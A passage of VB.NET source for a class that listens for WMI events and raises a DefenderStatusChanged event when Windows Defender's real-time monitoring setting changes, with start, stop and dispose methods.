DefenderTargetInstance = CBool(TIBase.Properties("DisableRealtimeMonitoring").Value)
End Using
Using PIBase = CType(e.NewEvent.Properties("PreviousInstance").Value, ManagementBaseObject)
DefenderPreviousInstance = CBool(PIBase.Properties("DisableRealtimeMonitoring").Value)
End Using
Me.OnDefenderStatusChanged(New DefenderStatusChangedEventArgs(DefenderTargetInstance, DefenderPreviousInstance))
End Sub
#Region " Event Invocators "
<DebuggerStepThrough>
Protected Overridable Sub OnDefenderStatusChanged(ByVal e As DefenderStatusChangedEventArgs)
RaiseEvent DefenderStatusChanged(Me, e)
End Sub
#End Region
#Region " Events Data "
Public NotInheritable Class DefenderStatusChangedEventArgs : Inherits EventArgs
#Region " Properties "
Private ReadOnly TargetInstanceB As Boolean
Public ReadOnly Property TargetInstance As Boolean
<DebuggerStepThrough>
Get
Return Me.TargetInstanceB
End Get
End Property
Private ReadOnly PreviousInstanceB As Boolean
Public ReadOnly Property PreviousInstance As Boolean
<DebuggerStepThrough>
Get
Return Me.PreviousInstanceB
End Get
End Property
#End Region
#Region " Constructors "
<DebuggerNonUserCode>
Private Sub New()
End Sub
<DebuggerStepThrough>
Public Sub New(ByVal TI As Boolean, ByVal PI As Boolean)
Me.TargetInstanceB = TI
Me.PreviousInstanceB = PI
End Sub
#End Region
End Class
#End Region
#Region " Public Methods "
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Starts monitoring.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <exception cref="Exception">
''' Monitor is already running.
''' </exception>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Public Overridable Sub Start()
If (Me.Handle = IntPtr.Zero) Then
MyBase.CreateHandle(New CreateParams)
DefenderState.Start()
Me.isRunningB = True
Else
Throw New Exception(message:="Monitor is already running.")
End If
End Sub
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Stops monitoring.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <exception cref="Exception">
''' Monitor is already stopped.
''' </exception>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Public Overridable Sub [Stop]()
If (Me.Handle <> IntPtr.Zero) Then
DefenderState.Stop()
MyBase.DestroyHandle()
Me.isRunningB = False
Else
Throw New Exception(message:="Monitor is already stopped.")
End If
End Sub
#End Region
#Region " IDisposable Implementation "
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' To detect redundant calls when disposing.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
Private isDisposed As Boolean
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Releases all the resources used by this instance.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Public Sub Dispose() Implements IDisposable.Dispose
Me.Dispose(isDisposing:=True)
GC.SuppressFinalize(obj:=Me)
End Sub
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources.
''' Releases unmanaged and - optionally - managed resources.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="isDisposing">
''' <see langword="True"/> to release both managed and unmanaged resources;
''' <see langword="False"/> to release only unmanaged resources.
''' </param>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Protected Overridable Sub Dispose(ByVal isDisposing As Boolean)
If (Not Me.isDisposed) AndAlso (isDisposing) Then
Me.events.Dispose()
Me.Stop()
End If
Me.isDisposed = True
End Sub
#End Region
End Class
End Namespace